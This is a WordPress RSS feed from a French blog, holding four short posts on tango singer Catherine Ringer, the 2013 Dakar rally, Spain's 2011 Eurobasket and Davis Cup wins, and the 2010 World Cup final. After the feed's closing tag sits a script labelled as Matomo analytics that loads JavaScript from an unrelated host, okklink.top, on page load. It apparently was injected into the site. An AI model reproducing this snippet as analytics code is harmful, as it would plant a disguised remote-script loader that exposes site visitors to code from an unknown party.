<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alain Roche Nalair de rien &#187; l&#8217;Argentine</title>
	<atom:link href="http://www.nalair.fr/index.php/tag/largentine/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nalair.fr</link>
	<description>Fracasseur d'identités</description>
	<lastBuildDate>Sat, 30 Nov 2024 05:00:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>La vie tango de Catherine Ringer</title>
		<link>http://www.nalair.fr/index.php/nalair/la-vie-tango-de-catherine-ringer/</link>
		<comments>http://www.nalair.fr/index.php/nalair/la-vie-tango-de-catherine-ringer/#comments</comments>
		<pubDate>Fri, 18 Apr 2014 05:03:15 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[Show biz]]></category>
		<category><![CDATA[Catherine Ringer]]></category>
		<category><![CDATA[Gotan Project]]></category>
		<category><![CDATA[l'Argentine]]></category>
		<category><![CDATA[la "Salina"]]></category>
		<category><![CDATA[le Tango]]></category>
		<category><![CDATA[Makaroff et Müller]]></category>
		<category><![CDATA[Plazia Francia]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=15446</guid>
		<description><![CDATA[Catherine Ringer dit avoir toujours eu le tango dans la peau sans jamais le danser, mais le tango est aussi une danse que se regarde et s&#8217;écoute. Elle a décidé de le chanter au sein du groupe Plazia Francia qu&#8217;elle constitue avec Makaroff et Müller. A l&#8217;origine ces deux musiciens du trio Gotan Project avait [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/04/Catherine-Ringer-vie-tango.jpg"><img class="aligncenter size-full wp-image-15447" title="Catherine-Ringer-vie-tango" src="http://www.nalair.fr/wp-content/uploads/2014/04/Catherine-Ringer-vie-tango.jpg" alt="" width="441" height="629" /></a></p>
<p style="text-align: left;">Catherine Ringer dit avoir toujours eu le tango dans la peau sans jamais le danser, mais le tango est aussi une danse que se regarde et s&#8217;écoute. Elle a décidé de le chanter au sein du groupe Plazia Francia qu&#8217;elle constitue avec Makaroff et Müller. A l&#8217;origine ces deux musiciens du trio Gotan Project avait l&#8217;intention de faire un cd avec plusieurs chanteuses, mais la passion fut telle entre les musiciens et Catherine qu&#8217;elle fut la seule et unique retenue.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/04/des-pas-tango-2.jpg"><img class="aligncenter size-full wp-image-15448" title="des-pas-tango-2" src="http://www.nalair.fr/wp-content/uploads/2014/04/des-pas-tango-2.jpg" alt="" width="626" height="445" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Cette danse inventée en Argentine à la fin du XIX siècle  est devenue très vite universelle et passionne toujours autant au XXI e siècle. A l&#8217;instar de la plus ancienne association parisienne la &#8220;Salina&#8221;, rare sont les villes qui n&#8217;ont pas un lieu pour apprendre et danser le Tango.</p>
<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2014/04/ta-main-dans-la-mienne-monochrome-bleu.jpg"><img class="aligncenter size-full wp-image-15449" title="ta-main-dans-la-mienne--monochrome-bleu" src="http://www.nalair.fr/wp-content/uploads/2014/04/ta-main-dans-la-mienne-monochrome-bleu.jpg" alt="" width="491" height="695" /></a></p>
<p style="text-align: left;">Pour Catherine Ringer, cette danse favorise le rapprochement homme femme, d&#8217;où vient certainement son succès.</p>
<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2014/04/tango-passion.jpg"><img class="aligncenter size-full wp-image-15450" title="tango-passion" src="http://www.nalair.fr/wp-content/uploads/2014/04/tango-passion.jpg" alt="" width="697" height="474" /></a>La chanteuse à l&#8217;époque des Rita Mitsouko, avait déjà chanté Marcia Baila, un hommage à la danseuse Marcia Moretto. (<a href="https://www.youtube.com/watch?v=t6FVlfOgTo8">que vous pouvez écouter en cliquant ici)</a></p>
<p style="text-align: left;">
<p style="text-align: left;">Fasciné par cette danse, j&#8217;ai dessiné souvent des dessins de couples la pratiquant et j&#8217;ai réalisé plusieurs expositions,  moi aussi sans le pratiquer, c&#8217;est à croire que la fascination dépasse de loin sa pratique. (<a href="http://www.nalair.fr/index.php/des-corps-tango/">Vous pouvez découvrir une de mes expositions en cliquant ici</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/la-vie-tango-de-catherine-ringer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peterhansel, encore lui&#8230;</title>
		<link>http://www.nalair.fr/index.php/nalair/peterhansel-encore-lui/</link>
		<comments>http://www.nalair.fr/index.php/nalair/peterhansel-encore-lui/#comments</comments>
		<pubDate>Mon, 21 Jan 2013 09:50:49 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA["Mister Dakar"]]></category>
		<category><![CDATA[Chili]]></category>
		<category><![CDATA[Cyril Despres]]></category>
		<category><![CDATA[Dakar]]></category>
		<category><![CDATA[l'Argentine]]></category>
		<category><![CDATA[Lima]]></category>
		<category><![CDATA[Pérou]]></category>
		<category><![CDATA[Santiago]]></category>
		<category><![CDATA[Stéphane Peterhansel]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=12223</guid>
		<description><![CDATA[Le 19 janvier la 34e édition du Dakar se terminait après 14 étapes soit 8570 km de Lima au Pérou  à Santiago au Chili, en passant par l&#8217;Argentine. Pour la 11e fois ( 6e en motos et 5e en auto)  le français Stéphane Peterhansel a dominé la course en 38h 32&#8242; 39 au volant d&#8217;une [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2013/01/stephane-peterHansel.jpg"><img class="size-full wp-image-12224 aligncenter" title="stephane-peterHansel" src="http://www.nalair.fr/wp-content/uploads/2013/01/stephane-peterHansel.jpg" alt="" width="390" height="552" /></a></p>
<p style="text-align: center;">
<p style="text-align: left;">Le 19 janvier la 34e édition du Dakar se terminait après 14 étapes soit 8570 km de Lima au Pérou  à Santiago au Chili, en passant par l&#8217;Argentine. Pour la 11e fois ( 6e en motos et 5e en auto)  le français Stéphane Peterhansel a dominé la course en 38h 32&#8242; 39 au volant d&#8217;une mini. Côté motos c&#8217;est encore un français, Cyril Despres au guidon d&#8217;une KTM qui remporte la course pour la 5e fois et égale le record de Cyril Neveu. Comme à chaque fois Peterhansel a été intouchable, il a assumé à la perfection son rôle de grand favori et mérite bien son surnom de &#8220;Mister Dakar&#8221;. Le Franc-comtois de 47 ans a signé jusqu&#8217;en 2015 avec mini, mais n&#8217;exclut pas de tenter à nouveau l&#8217;aventure, mais cette fois en camion. Il aimerait ainsi inscrire son nom aux trois épreuves de la course. Voilà qui promet, pour les prochaines éditions, encore de beaux challenges.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/peterhansel-encore-lui/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eurobasket et coupe Davis 2011, l&#8217;Espagne notre bourreau</title>
		<link>http://www.nalair.fr/index.php/nalair/eurobasket-et-coupe-davis-2011-lespagne-notre-bourreau/</link>
		<comments>http://www.nalair.fr/index.php/nalair/eurobasket-et-coupe-davis-2011-lespagne-notre-bourreau/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 06:01:52 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Carlos Navarro]]></category>
		<category><![CDATA[coupe Davis]]></category>
		<category><![CDATA[Djokovic]]></category>
		<category><![CDATA[Espagne]]></category>
		<category><![CDATA[Eurobasket]]></category>
		<category><![CDATA[l'Argentine]]></category>
		<category><![CDATA[la France]]></category>
		<category><![CDATA[la Serbie]]></category>
		<category><![CDATA[Nadal]]></category>
		<category><![CDATA[Tony Parker]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=8534</guid>
		<description><![CDATA[L&#8217;équipe de France s&#8217;incline en finale de l&#8217;Eurobasket face à une équipe d&#8217;Espagne époustouflante. Deux hommes se distinguent dans un match de très haut niveau, Carlos Navarro avec 27 pts au compteur pour l&#8217;Espagne et Tony Parker 26 pts pour la France. Les bleus ont été battus 96-85, par  incontestablement la meilleure équipe d&#8217;Europe puisqu&#8217;elle garde son [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.nalair.fr/wp-content/uploads/2011/09/Navarro.jpeg"><img class="aligncenter size-full wp-image-8535" title="Navarro" src="http://www.nalair.fr/wp-content/uploads/2011/09/Navarro.jpeg" alt="" width="422" height="600" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">L&#8217;équipe de France s&#8217;incline en finale de l&#8217;Eurobasket face à une équipe d&#8217;Espagne époustouflante. Deux hommes se distinguent dans un match de très haut niveau, Carlos Navarro avec 27 pts au compteur pour l&#8217;Espagne et Tony Parker 26 pts pour la France. Les bleus ont été battus 96-85, par  incontestablement la meilleure équipe d&#8217;Europe puisqu&#8217;elle garde son titre pour la deuxième année consécutive. Il n&#8217;en reste pas moins que les basketteurs français réussissent une vraie performance  puisqu&#8217;ils n&#8217;avaient pas atteint  un tel niveau depuis 1949. Il restera aux bleus à prendre leur revanche, puisque les deux équipes sont d&#8217;ors et déjà qualifiées pour les jeux olympiques de Londres 2012.</p>
<p style="text-align: left;"><a href="http://www.nalair.fr/wp-content/uploads/2008/10/raphael.jpg"><img class="aligncenter size-full wp-image-160" title="raphael" src="http://www.nalair.fr/wp-content/uploads/2008/10/raphael.jpg" alt="" width="316" height="450" /></a></p>
<p style="text-align: left;">Décidément les Espagnols ce week-end n&#8217;ont pas  épargné les bleus.  En demi-finale de la coupe Davis 2011, Nadal fait un véritable festival et là encore l&#8217;Espagne était trop forte pour la France. Le simple souffle d&#8217;espoir fut le double dominé de belle manière par les tricolores. L&#8217;Espagne affrontera en finale l&#8217;Argentine qui a éliminé la tenante du titre, la Serbie de Djokovic.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/eurobasket-et-coupe-davis-2011-lespagne-notre-bourreau/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>L&#8217;Espagne reine du monde footballistique</title>
		<link>http://www.nalair.fr/index.php/nalair/lespagne-roi-du-monde-footballistique/</link>
		<comments>http://www.nalair.fr/index.php/nalair/lespagne-roi-du-monde-footballistique/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 16:18:25 +0000</pubDate>
		<dc:creator>nalair</dc:creator>
				<category><![CDATA[Nalair]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[Andres Iniesta]]></category>
		<category><![CDATA[El Pais]]></category>
		<category><![CDATA[Jacob Zuma]]></category>
		<category><![CDATA[Johabbesburg]]></category>
		<category><![CDATA[Johannesburg]]></category>
		<category><![CDATA[l'Afrique du sud]]></category>
		<category><![CDATA[l'Argentine]]></category>
		<category><![CDATA[L'Espagne]]></category>
		<category><![CDATA[la RFA]]></category>
		<category><![CDATA[Les vuvuzelas]]></category>
		<category><![CDATA[Nelson Mandela]]></category>
		<category><![CDATA[Pays-Bas]]></category>

		<guid isPermaLink="false">http://www.nalair.fr/?p=5437</guid>
		<description><![CDATA[Nelson Mandela est venu saluer la foule de quelques 85 000 spectateurs,  juste avant le début de la cérémonie, avant de s&#8217;éclipser chez lui pour suivre la finale en famille, à la télévision. L&#8217;Espagne opposée au Pays-Bas voilà une affiche intéressante qui oppose deux pays qui n&#8217;ont pas encore eu la coupe du monde ni [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.nalair.fr/wp-content/uploads/2010/07/vicente-del-bosque.jpg"><img class="aligncenter size-medium wp-image-5438" title="vicente-del-bosque" src="http://www.nalair.fr/wp-content/uploads/2010/07/vicente-del-bosque-350x501.jpg" alt="vicente-del-bosque" width="350" height="501" /></a></p>
<p>Nelson Mandela est venu saluer la foule de quelques 85 000 spectateurs,  juste avant le début de la cérémonie, avant de s&#8217;éclipser chez lui pour suivre la finale en famille, à la télévision. L&#8217;Espagne opposée au Pays-Bas voilà une affiche intéressante qui oppose deux pays qui n&#8217;ont pas encore eu la coupe du monde ni l&#8217;un ni l&#8217;autre, même si les Pays- Bas sont pour la troisième fois finaliste. Défaite en 1974 par la RFA et en 1978 par l&#8217;Argentine, la malédiction opère et elle échoue à nouveau face à l&#8217;Espagne. Andres Iniesta  ruine tous leurs espoirs les plus fous à la 116e minute. La presse espagnole est au Paradis et ne tarit pas d&#8217;éloge sur &#8220;la génération dorée&#8221;, le journal El Pais rajoute : &#8220;L&#8217;équipe nationale a conforté la suprématie d&#8217;une génération éblouissante.  Les vuvuzelas se sont tus, Johannesburg va retrouver son calme après effervescence de ces dernières semaines. Pour Jacob Zuma actuelle président de l&#8217;Afrique du sud estime que la coupe du monde fut un &#8220;succès économique&#8221;. Rendez-vous dans quatre ans avec espérons le une équipe française qui aura faim.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nalair.fr/index.php/nalair/lespagne-roi-du-monde-footballistique/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/www.nalair.fr/matomo.js?id=M-1778101014"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->
